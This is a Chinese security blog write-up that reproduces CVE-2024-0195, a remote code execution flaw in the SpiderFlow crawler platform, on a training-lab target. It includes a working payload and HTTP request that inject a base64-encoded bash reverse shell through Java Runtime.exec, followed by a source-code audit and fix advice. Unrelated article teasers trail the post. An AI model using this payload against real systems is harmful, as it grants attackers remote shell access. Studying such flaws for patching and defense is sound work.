【CVE复现计划】CVE-2024-0195

CVE-2024-0195

简介:

SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器

影响版本:

Up to (including)0.5.0 

EXP(反弹shell): 

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}")%3B%7B

注意: 这里的技巧为java Runtime.getRuntime().exec 获取反弹shell

具体可访问java Runtime.getRuntime().exec 获取反弹shell_p = r.exec(["/bin/bash","-c",-CSDN博客

漏洞复现: 

 参考spider-flow RCE漏洞分析(CVE-2024-0195) - 先知社区 (aliyun.com)

源码下载:

https://gitee.com/ssssssss-team/spider-flow.git

复现(春秋靶场):

进入环境进行抓包

修包改为:

POST /function/save HTTP/1.1

Host: eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 189

Origin: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088

Connection: close

Referer: http://eci-2zebg74uonflnvp0bavv.cloudeci1.ichunqiu.com:8088/function-edit.html



id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}")%3B%7B

即可反弹shell 

代码审计 :

 在spider-flow-web/src/main/java/org/spiderflow/controller/FunctionController.java发现/function/save路径下调用了functionService.saveFunction()方法 这也就是上边抓包的路径

@RestController
@RequestMapping("/function")
public class FunctionController {

    @Autowired
    private FunctionService functionService;

    @RequestMapping("/list")
    public IPage<Function> list(@RequestParam(name = "page",defaultValue = "1")Integer page, @RequestParam(name = "limit",defaultValue = "1")Integer size,String name) {
        QueryWrapper<Function> select = new QueryWrapper<Function>().select("id", "name", "parameter", "create_date");
        if(StringUtils.isNotBlank(name)){
            select.like("name",name);
        }
        select.orderByDesc("create_date");
        return functionService.page(new Page<Function>(page, size), select);
    }

    @RequestMapping("/save")
    public String save(Function function){
        return functionService.saveFunction(function);
    }

    @RequestMapping("/get")
    public Function get(String id){
        return functionService.getById(id);
    }

    @RequestMapping("/remove")
    public void remove(String id){
        functionService.removeById(id);
    }
}

我们跟进 saveFunction()方法

public String saveFunction(Function entity) {
    try {
        // 对传入的数据进行过滤
        ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());
        // 保存
        super.saveOrUpdate(entity);
        init();
        return null;
    } catch (Exception e) {
        logger.error("保存自定义函数出错",e);
        return ExceptionUtils.getStackTrace(e);
    }
}

里面有个validScript方法,就是通过ScriptManager.validScript()方法对传入的函数数据进行过滤,该方法可能会抛出异常 我们跟进validScript方法

public static void validScript(String functionName,String parameters,String script) throws Exception {
    new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));
}

里面居然直接有eval危险函数,首先,代码创建了一个新的ScriptEngineManager对象,然后从中获取一个名为"nashorn"的脚本引擎。接下来,通过调用eval()方法,将传入的函数名称、参数和脚本合并成一个完整的脚本字符串,并将其传递给脚本引擎进行执行。 

我们跟进concatScript方法

private static String concatScript(String functionName,String parameters,String script){
    StringBuffer scriptBuffer = new StringBuffer();
    scriptBuffer.append("function ")
        .append(functionName)
        .append("(")
        .append(parameters == null ? "" : parameters)
        .append("){")
        .append(script)
        .append("}");
    return scriptBuffer.toString();
}

这段代码的作用是接受三个参数 functionNameparameters和 script合并成一个完整的脚本字符串,并返回该字符串。 没有进行任何过滤,所以我们就可以构造RCE了

假设三个参数分别为wen,da,nh,最后返回的是

function wen(da){nh}

我们就可以在 script这里构造的恶意的java Runtime.getRuntime().exec 获取反弹shell

}Java.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}");{

 拼接之后就成为了下面代码 形成闭合执行 形成反弹shell

function wen(da){}Java.type('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS8yMzQ0IDA+JjE=}|{base64,-d}|{bash,-i}");{}

修复建议:

1.在拼接的时候对script进行过滤处理

2.打补丁 spider-flow: 新一代爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。

参考 :

SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195) - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/526159.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

蓝帕控制阀门将莅临2024年第13届生物发酵展

参展企业介绍 感谢你正在或即将使用蓝帕控制阀门(江苏)有限公司系列产品&#xff0c;感谢你关注蓝帕控制阀门(江苏)有限公司&#xff01; 蓝帕控制阀门(江苏)有限公司&#xff0c;流体控制领域的国际品牌之一&#xff0c;总部位于意大利米兰&#xff0c;成立多年以来&#xf…

流式密集视频字幕

流式密集视频字幕 摘要1 IntroductionRelated Work3 Streaming Dense Video Captioning Streaming Dense Video Captioning 摘要 对于一个密集视频字幕生成模型&#xff0c;预测在视频中时间上定位的字幕&#xff0c;理想情况下应该能够处理长的输入视频&#xff0c;预测丰富、…

Rust 标准库 API 文件和文件夹操作 File,读取/创建/修改/追加/删除/重命名文件等

File::create 使用File的关联函数&#xff08;类似Java中的静态方法&#xff09;create&#xff0c;创建文件&#xff0c;如果存在&#xff0c;则覆盖。 use std::fs::{File, Metadata};fn main() -> std::io::Result<()> {let file: File File::create("foo.…

C++ 学习笔记

文章目录 【 字符串相关 】C 输入输出流strcpy_s() 字符串复制输出乱码 【 STL 】各个 STL 支持的常见方法 ? : 运算符switch case 运算符 switch(expression) {case constant-expression :statement(s);break; // 可选的case constant-expression :statement(s);break; //…

基于arcgis /envi PCA(主成分分析)实现过程

基于arcgis /envi PCA(主成分分析)实现过程 1 提取研究范围 2对研究范围进行重采样 &#xff08;根据数据情况进行选做&#xff0c;如数据较大建议进行该步骤操作&#xff09; 3 对研究范围内数据进行归一化处理 4 将空值替换为0 5 对同期不同要素数据进行波段合成 对波段…

如何本地部署JumpServer堡垒机并结合内网穿透实现远程访问

文章目录 前言1. 安装Jump server2. 本地访问jump server3. 安装 cpolar内网穿透软件4. 配置Jump server公网访问地址5. 公网远程访问Jump server6. 固定Jump server公网地址 前言 JumpServer 是广受欢迎的开源堡垒机&#xff0c;是符合 4A 规范的专业运维安全审计系统。JumpS…

云南省气象探空业务升级为北斗探空观测系统

云南省气象探空业务升级为北斗探空观测系统 近日&#xff0c;云南省首套北斗探空观测系统在普洱市思茅区高空气象观测站建成并调试成功&#xff0c;这意味着云南省气象探空业务将从L波段雷达探测升级到北斗探空观测系统。 &#xff08;图片来源于网络&#xff09; 北斗探空观…

距离度量方法——欧氏距离、曼哈顿距离、切比雪夫距离、闵可夫斯基距离

目录 一、 欧氏距离&#xff08;Euclidean Distance&#xff09; 1、简介 2、代码实现 二、曼哈顿距离&#xff08;Manhattan Distance&#xff09; 1、简介 2、代码实现 三、切比雪夫距离&#xff08;Chebyshev Distance&#xff09; 1、简介 2、代码实现 四、闵可夫…

CSS实现热门创作者排行榜(毛玻璃效果)

CSS实现热门创作者排行榜&#xff08;毛玻璃效果&#xff09; 效果展示 CSS 知识点 CSS 基础知识回顾filter 属性运用回顾 整体页面布局实现 <div class"container"><h3>Popular Creator Rank List</h3><!-- 用户列表容器 --><div cl…

基于SpringBoot+Vue的健身教练预约管理系统(源码+文档+部署+讲解)

一.系统概述 私人健身与教练预约管理系统&#xff0c;可以摆脱传统手写记录的管理模式。利用计算机系统&#xff0c;进行用户信息、管理员信息的管理&#xff0c;其中包含首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;教练管理&#xff0c;健身项目管理&#xff0…

【个人使用推荐】联机不卡顿 小白一键部署 大厂云服务器选购指南 16G低至26 幻兽帕鲁最大更新来袭

更新日期&#xff1a;4月8日&#xff08;半年档 价格回调&#xff0c;京东云采购季持续进行&#xff09; 本文纯原创&#xff0c;侵权必究 《最新对比表》已更新在文章头部—腾讯云文档&#xff0c;文章具有时效性&#xff0c;请以腾讯文档为准&#xff01; 【腾讯文档实时更…

两款工业摄像头EPICS环境使用测试

从模拟摄像头进步到GIGE摄像头使得束斑监测系统的搭建方便多了&#xff0c;EPICS areaDetector下最开始使用的是进口的AVT的摄像头&#xff0c;后来发现海康摄像头便宜又好用&#xff0c;后来就一直使用海康的&#xff0c;MV-CA016-10GM这款在EPICS下使用一直很稳定&#xff0c…

ctfshow web入门 php特性 web140--web150plus

web140 这里用松散比较的漏洞绕过 0和字符串比较的时候就是true $code eval("return $f1($f2());"); 等于0就可以传参 POST: f1intval&f2intval查看源码 web141 if(preg_match(/^\W$/, $v3)) 是一段 PHP 代码&#xff0c;它使用了正则表达式函数 preg_mat…

【复现】畅捷通T-Plus SQL注入漏洞_68

目录 一.概述 二 .漏洞影响 三.漏洞复现 1. 漏洞一&#xff1a; 四.修复建议&#xff1a; 五. 搜索语法&#xff1a; 六.免责声明 一.概述 畅捷T是用友畅捷通推出的一款新型互联网企业管理系统&#xff0c;T能够满足成长型小微企业对其灵活业务流程的管控需求&#xff0…

socket之UDP组播(多播)

组播也可以称之为多播这也是 UDP 的特性之一。组播是主机间一对多的通讯模式&#xff0c;是一种允许一个或多个组播源发送同一报文到多个接收者的技术。组播源将一份报文发送到特定的组播地址&#xff0c;组播地址不同于单播地址&#xff0c;它并不属于特定某个主机&#xff0c…

Enzo Life Sciences--17β-Estradiol high sensitivity ELISA kit

高灵敏ELISA试剂盒&#xff0c;可检测到低至14 pg/ml的17β-雌二醇 雌二醇(estradiol) 是由卵巢内卵泡的颗粒细胞分泌的类固醇激素&#xff0c;是主要的雌激素&#xff0c;负责调节女性特征、附属性器官的成熟和月经-排卵周期&#xff0c;促进乳腺导管系统的产生&#xff0c;有…

鸿蒙南向开发:【智能烟感】

样例简介 智能烟感系统通过实时监测环境中烟雾浓度&#xff0c;当烟雾浓度超标时&#xff0c;及时向用户发出警报。在连接网络后&#xff0c;配合数字管家应用&#xff0c;用户可以远程配置智能烟感系统的报警阈值&#xff0c;远程接收智能烟感系统报警信息。实现对危险及时报…

【大功率汽车大灯升压方案】LED恒流驱动芯片FP7208升压车灯调光应用,PWM内部转模拟,调光深度1%,无频闪顾虑,低亮无抖动

宝马X5前中排座椅宽大舒适&#xff0c;车厢内储物空间丰富。操控性能极佳&#xff0c;底盘稳扎精良。原车为氙气灯&#xff0c;其实宝马的氙气大灯配的比其他车型要好&#xff0c;照明效果是没得说的。但是不管什么灯久了都会出现光衰的情况。下面这辆宝马X5车灯已老化严重。 宝…

学习记录15-运算放大器例题1

一、例题1 图中自己加的一些声明&#xff0c;方便待会讲解&#xff08;请忽略丑。。。&#xff09; 根据虚短原则&#xff1a;U U- U 3V*(R4/(R3R4)) 3V*&#xff08;20 / (1020)) 2V U- U- -1V*(R2/(R1R2))Uo*(R1/(R1R2)) -1V*(20/30)Uo*(10/30) -2/3VUo*1/3 …

如何通过专业二手手机店ERP工具提升手机零售业绩?

在竞争激烈的手机零售市场中&#xff0c;二手手机店如何脱颖而出&#xff0c;实现业绩的稳步增长&#xff1f;途渡科技的超机系列工具提供了一个专业而全面的解决方案&#xff0c;专注于通过二手手机店ERP工具提升商家的运营效率和销售业绩。 1、数字化革新&#xff0c;开启智能…